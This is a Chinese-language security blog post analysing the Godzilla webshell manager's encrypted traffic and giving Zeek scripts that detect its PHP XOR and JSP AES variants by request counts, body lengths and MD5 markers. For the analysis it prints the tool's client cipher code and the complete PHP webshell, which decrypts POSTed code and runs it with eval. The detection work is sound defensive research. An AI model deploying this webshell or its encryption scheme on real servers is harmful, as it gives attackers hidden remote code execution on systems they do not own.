写在前面 Godzilla(哥斯拉):
身高:50米
体重:2万吨
攻击方式:放射热线、白热光、袋鼠踢、投掷、搏击、尾鞭
一种生活在侏罗纪和白垩纪之间的罕见海栖爬虫类和陆生兽类的中间形态生物的残存个体,因氢弹试验的影响而出现。最初在太平洋上出现并袭击货船,后经大户岛在东京登陆,造成巨大破坏。最终在东京湾被芹泽博士发明的水中氧气破坏素(核能氧气素/氧气破坏者)杀死。
以下文章将简述如何捕获该怪兽,首先派大量直升机去恶魔岛劫持另一体型巨大但温和许多的巨兽:金刚。然后让金刚抗伤害人类偷袭就好。本篇完!
实在编不下去了,来点正经的吧。。。
Godzilla (哥斯拉)是一款优秀的WebShell权限管理工具,其特点有:
哥斯拉全部类型的Shell均过市面所有静态查杀
哥斯拉流量加密过市面全部流量WAF
哥斯拉的自带的插件是冰蝎、蚁剑不能比拟的
Zeek (原名:Bro) 是一个开源的网络流量分析器。许多运营商将Zeek作为网络安全监控器(NSM),支持对可疑或恶意活动的调查。Zeek还支持安全领域以外的广泛的流量分析任务,包括性能测量和故障排除。其特点有:
深度分析:Zeek带有许多协议的分析器,可以在应用层进行高级语义分析。
适应性和灵活性:Zeek的特定领域脚本语言可以实现特定地点的监控策略,这意味着它不受限于任何特定的检测方法。
高效:Zeek以高性能网络为目标,在各种大型网站上运行。
高度的状态性:Zeek对其监控的网络保持广泛的应用层状态,并提供网络活动的高级档案。
环境
Godzilla: v4.0.1
Zeek:v4.1.0
WebShell:
PHP XOR BASE64
JSP AES BASE64
源码分析 PHP XOR BASE64 客户端
基础配置:URL、密码、密钥、加密器等信息。如下图所示:
密码:和蚁剑、菜刀一样,密码就是POST请求中的参数名称。例如,在本例中密码为Happy
,那么Godzilla提交的每个请求都是Happy=XXX
这种形式。以下称为pass
密钥:用于对请求数据进行加密,不过加密过程中并非直接使用密钥明文,而是计算密钥的MD5值,然后取其前16位用于加密。以下为称为key
有效载荷:生成对应类型的WebShell
加密器:控制WebShell的加密方式
请求配置:主要用于自定义HTTP请求头,以及在最终的请求数据前后额外再追加一些扰乱数据,进一步降低流量的特征
1 2 3 4 5 6 7 8 9 10 public class PhpXor implements Cryption { public void init (ShellEntity context) { this .shell = context; this .http = this .shell.getHttp(); this .key = this .shell.getSecretKeyX().getBytes(); this .pass = this .shell.getPassword(); String findStrMd5 = functions.md5(this .pass + new String(this .key)); this .findStrLeft = findStrMd5.substring(0 , 16 ); this .findStrRight = findStrMd5.substring(16 ); }
请求加密
对于明文数据使用key 进行按位异或->base64编码->url编码,实现数据加密;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 public byte [] encode(byte [] data) { try { return E(data); } catch (Exception e) { Log.error(e); return null ; } } public byte [] E(byte [] cs) { int len = cs.length; for (int i = 0 ; i < len; i++) { cs[i] = (byte ) (cs[i] ^ this .key[(i + 1 ) & 15 ]); } return (this .pass + "=" + URLEncoder.encode(functions.base64EncodeToString(cs))).getBytes(); }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 public byte [] decode(byte [] data) { if (data == null || data.length <= 0 ) { return data; } try { return D(findStr(data)); } catch (Exception e) { Log.error(e); return null ; } } public byte [] D(String data) { byte [] cs = functions.base64Decode(data); int len = cs.length; for (int i = 0 ; i < len; i++) { cs[i] = (byte ) (cs[i] ^ this .key[(i + 1 ) & 15 ]); } return cs; } public String findStr (byte [] respResult) { return functions.subMiddleStr(new String(respResult), this .findStrLeft, this .findStrRight); }
演示数据 - 数据解密
![image-20211201143236656](./Zeek-Detect-Godzilla-WebShell/示例数据 - 1.png)
服务端 PHP XOR BASE64 类型的加密Shell的服务器端代码如下,其中定义了encode
函数,用于加密或解密请求数据。由于是通过按位异或实现的加密,所以encode
函数即可用于加密,同时也可用于解密。整个Shell的基本执行流程是:服务器接收到Godzilla发送的第一个请求后,由于此时尚未建立session,所以将POST请求数据解密后(得到的内容为Shell操作中所需要用到的相关php
函数定义代码)存入session中,后续Godzilla只会提交相关操作对应的函数名称(如获取目录中的文件列表对应的函数为getFile
)和相关参数,这样哥斯拉的相关操作就不需要发送大量的请求数据。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 <?php @session_start(); @set_time_limit(0 ); @error_reporting(0 ); function encode ($D ,$K ) { for ($i =0 ;$i <strlen($D );$i ++) { $c = $K [$i +1 &15 ]; $D [$i ] = $D [$i ]^$c ; } return $D ; } $pass ='Happy' ;$payloadName ='payload' ;$key ='bdf2e45b317c4585' ;if (isset ($_POST [$pass ])){ $data =encode(base64_decode($_POST [$pass ]),$key ); if (isset ($_SESSION [$payloadName ])){ $payload =encode($_SESSION [$payloadName ],$key ); if (strpos($payload ,"getBasicsInfo" )===false ){ $payload =encode($payload ,$key ); } eval ($payload ); echo substr(md5($pass .$key ),0 ,16 ); echo base64_encode(encode(@run($data ),$key )); echo substr(md5($pass .$key ),16 ); }else { if (strpos($data ,"getBasicsInfo" )!==false ){ $_SESSION [$payloadName ]=encode($data ,$key ); } } }
JSP AES BASE64 JSP WebShell 则采用了AES加密形式,AES加密的key。同样是计算密钥的MD5值,然后取其前16位用于加密。更深入的分析大家可以去参考,这并不是本文的重点。**【原创】哥斯拉Godzilla加密流量分析 **
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 public void init (ShellEntity context) { this .shell = context; this .http = this .shell.getHttp(); this .key = this .shell.getSecretKeyX(); this .pass = this .shell.getPassword(); String findStrMd5 = functions.md5(this .pass + this .key); this .findStrLeft = findStrMd5.substring(0 , 16 ).toUpperCase(); this .findStrRight = findStrMd5.substring(16 ).toUpperCase(); try { this .encodeCipher = Cipher.getInstance("AES" ); this .decodeCipher = Cipher.getInstance("AES" ); this .encodeCipher.init(1 , new SecretKeySpec(this .key.getBytes(), "AES" )); this .decodeCipher.init(2 , new SecretKeySpec(this .key.getBytes(), "AES" )); this .payload = this .shell.getPayloadModule().getPayload(); if (this .payload != null ) { this .http.sendHttpResponse(this .payload); this .state = true ; } else { Log.error("payload Is Null" ); } } catch (Exception e) { Log.error(e); } } public byte [] encode(byte [] data) { try { return (this .pass + "=" + URLEncoder.encode(functions.base64EncodeToString(this .encodeCipher.doFinal(data)))).getBytes(); } catch (Exception e) { Log.error(e); return null ; } } public byte [] decode(byte [] data) { try { return this .decodeCipher.doFinal(functions.base64Decode(findStr(data))); } catch (Exception e) { Log.error(e); return null ; } }
特征提取 结合上面的分析,传统通过静态特征的匹配方式已不在适用于Godzilla WebShell检测。不过,我们可以将多个特征进行结合实现一个检测的模型来对Godzilla PHP XOR BASE64 WebShell的检测。下面我们来列举一下检测特征:
频率
Godzilla连接WebShell的时会在一次TCP会话中发起3 次HTTP POST请求。
注意看下uid
均为CbhiAefsstFeAyCM6
表示是一次TCP会话请求。
长度
Godzilla虽然对传输时的payload
进行了加密,但是初始连接时3次请求中的内容是固定的,所以通过XOR + BASE64编码后的长度是不变的。
内容
有的小伙伴会奇怪,都已经加密了还能从内容上做哪些判断。其实还是可以有的,只不过并不是传统的“威胁特征”
请求:3次请求中的key均相等 ,此例中为:Happy
响应:响应数据包中首尾各16位数值可满足MD5的提取[a-z0-9]{16}.+[a-z0-9]{16}
,且2次响应包中的16位数值均相等 ;
检测模型
PHP XOR BASE64 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 @load base/frameworks/sumstats redef enum Notice : :Type += { WebShell_Godzilla_PHP_XOR_BASE64 }; ## 使用Summary Statistics Framework(统计框架)对http请求进行测量。 event http_message_done (c: connection, is_orig: bool , stat: http_message_stat) { if ( (c?$http) && (c$http?$status_code) && (c$http?$method) && (c$http?$client_body) ) { if ( (c$http$status_code) == 200 && (c$http$method == "POST" ) ) { local key_str: string = c$http$uid + "#####" + cat(c$id$orig_h) + "#####" + cat(c$id$orig_p) + "#####" + cat(c$id$resp_h)+ "#####" + cat(c$id$resp_p) + "#####" + c$http$uri; local observe_str: string = cat(c$http$ts) + "#####" + c$http$client_body + "#####" + c$http$server_body + "#####" + cat(c$http$request_body_len); ## 第一步,创建一个观察器,将数据添加到观察器中。 SumStats::observe("godzilla_php_xor_base64_webshell_event" , [$str=key_str], [$str=observe_str]); } } } event zeek_init () { ## 第二步,根据指定的观察流进行处理,此处采用计算唯一值的方式。 local r1 = SumStats::Reducer($stream = "godzilla_php_xor_base64_webshell_event" , $apply = set (SumStats::UNIQUE)); ## 第三步,创建汇总统计,以便最终对其进行处理。例:当在3 秒的时间窗内满足3 次阈值将会执行以下逻辑; SumStats::create([$name = "godzilla_php_xor_base64_webshell_event.unique" , $epoch = 3 sec, $reducers = set (r1), $threshold = 3.0 , $threshold_val(key: SumStats::Key, result: SumStats::Result) = { return result["godzilla_php_xor_base64_webshell_event" ]$num + 0.0 ; }, $threshold_crossed(key: SumStats::Key, result: SumStats::Result) = { if ( result["godzilla_php_xor_base64_webshell_event" ]$unique == 3 ) { local sig1: bool = F; local sig2: bool = F; local sig3: bool = F; local pass_str_set: set [string ]; local md5_str_set: set [string ]; local key_str_vector: vector of string = split_string(key$str, /#####/); for ( value in result["godzilla_php_xor_base64_webshell_event" ]$unique_vals ) { local observe_str_vector: vector of string = split_string(value$str, /#####/); local client_body = unescape_URI(observe_str_vector[1 ]); local server_body = unescape_URI(observe_str_vector[2 ]); local client_body_len = to_int(observe_str_vector[3 ]); local offset = strstr (client_body, "=" ); local client_body_value = client_body[offset: |client_body|]; ## 获取请求参数 if (offset > 1 ) ## 本例中: Happy=CQNGDVtRLFJcUmEwNTg1FgEVRg%3 D%3 D add pass_str_set[client_body[0 : offset-1 ]]; ## 响应体长度 > 0 ,提取首位各16 字节并检查是否满足MD5格式 if (|server_body| > 0 ) { ## 本例中: 52f 0f23a94a8a3f0e+06 ZTQ1YjMxNKj7Mzhyv7gfMGU0NQ==468e329 e21eb39e8 local server_body_str = server_body[0 : 16 ] + server_body[-16 : ]; local server_body_md5 = find_all_ordered(server_body_str, /[a-zA-Z0-9 ]{32 }/); if (|server_body_md5| == 0 ) return ; add md5_str_set[server_body_str]; } ## 请求体长度 > 52216 && 响应体长度 = 0 if ( (client_body_len > 52216 ) && (|server_body| == 0 ) ) sig1 = T; ## 请求体长度 = 28 && 响应体长度 = 64 if ( (|client_body_value| == 28 ) && (|server_body| == 64 ) ) sig2 = T; ## 请求体长度 = 40 if ( |client_body_value| == 40 ) sig3 = T; } if ( sig1 && sig2 && sig3 ) { ## 判断3 次请求参数是否唯一 ## 判断后2 次提取的MD5值是否唯一 if ( (|pass_str_set| == 1 ) && (|md5_str_set| == 1 ) ) { NOTICE([ $note=WebShell_Godzilla_PHP_XOR_BASE64, $uid=key_str_vector[0 ], $src=to_addr(key_str_vector[1 ]), $dst=to_addr(key_str_vector[3 ]), $msg=fmt("[+] Godzilla(PHP_XOR_BASE64) traffic Detected, %s:%s -> %s:%s, WebShell URI: %s" , key_str_vector[1 ], key_str_vector[2 ], key_str_vector[3 ], key_str_vector[4 ], key_str_vector[5 ]), $sub=cat("Godzilla traffic Detected" ) ]); } } } } ]); }
JSP AES BASE64 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 @load base/frameworks/sumstats redef enum Notice : :Type += { WebShell_Godzilla_JSP_AES_BASE64 }; event http_message_done (c: connection, is_orig: bool , stat: http_message_stat) { if ( c?$http && c$http?$status_code && c$http?$method ) { if ( (c$http$status_code) == 200 && (c$http$method == "POST" ) && (c$http?$client_body) ) { local key_str: string = c$http$uid + "#####" + cat(c$id$orig_h) + "#####" + cat(c$id$orig_p) + "#####" + cat(c$id$resp_h)+ "#####" + cat(c$id$resp_p) + "#####" + c$http$uri; local observe_str: string = cat(c$http$ts) + "#####" + c$http$client_body + "#####" + c$http$server_body + "#####" + cat(c$http$request_body_len); SumStats::observe("godzilla_jsp_aes_base64_webshell_event" , [$str=key_str], [$str=observe_str]); } } } event zeek_init () { local r1 = SumStats::Reducer($stream = "godzilla_jsp_aes_base64_webshell_event" , $apply = set (SumStats::UNIQUE)); SumStats::create([$name = "godzilla_jsp_aes_base64_webshell_event.unique" , $epoch = 5 sec, $reducers = set (r1), $threshold = 3.0 , $threshold_val(key: SumStats::Key, result: SumStats::Result) = { return result["godzilla_jsp_aes_base64_webshell_event" ]$num + 0.0 ; }, $threshold_crossed(key: SumStats::Key, result: SumStats::Result) = { if ( result["godzilla_jsp_aes_base64_webshell_event" ]$unique == 3 ) { local sig1: bool = F; local sig2: bool = F; local sig3: bool = F; local pass_str_set: set [string ]; local md5_str_set: set [string ]; local key_str_vector: vector of string = split_string(key$str, /#####/); for ( value in result["godzilla_jsp_aes_base64_webshell_event" ]$unique_vals ) { local observe_str_vector: vector of string = split_string(value$str, /#####/); local client_body = unescape_URI(observe_str_vector[1 ]); local server_body = unescape_URI(observe_str_vector[2 ]); local client_body_len = to_int(observe_str_vector[3 ]); local offset = strstr (client_body, "=" ); local client_body_value = client_body[offset: |client_body|]; ## 获取 WebShell Password Key if (offset > 1 ) add pass_str_set[client_body[0 : offset-1 ]]; if (|server_body| > 0 ) { local server_body_str = server_body[0 : 16 ] + server_body[-16 : ]; local server_body_md5 = find_last(server_body_str, /[a-zA-Z0-9 ]{32 }/); add md5_str_set[server_body_md5]; } ## 请求体长度 > 48500 && 响应体长度 = 0 if ( (client_body_len > 48500 ) && (|server_body| == 0 ) ) sig1 = T; ## 请求体长度 = 64 && 响应体长度 = 76 if ( (|client_body_value| == 64 ) && (|server_body| == 76 ) && (server_body_str == server_body_md5) ) sig2 = T; ## 请求体长度 = 88 if ( |client_body_value| == 88 && (server_body_str == server_body_md5) ) sig3 = T; } ## 判断3 次请求体中Password Key 是否唯一、判断2 、3 次的响应体中的是否MD5是否唯一 if ( (|pass_str_set| == 1 ) && (|md5_str_set| == 1 ) ) if ( sig1 && sig2 && sig3 ) { NOTICE([ $note=WebShell_Godzilla_JSP_AES_BASE64, $uid=key_str_vector[0 ], $src=to_addr(key_str_vector[1 ]), $dst=to_addr(key_str_vector[3 ]), $msg=fmt("[+] Godzilla(JSP_AES_BASE64) traffic Detected, %s:%s -> %s:%s, WebShell URI: %s" , key_str_vector[1 ], key_str_vector[2 ], key_str_vector[3 ], key_str_vector[4 ], key_str_vector[5 ]), $sub=cat("Godzilla traffic Detected" ) ]); } } } ]); }
模型验证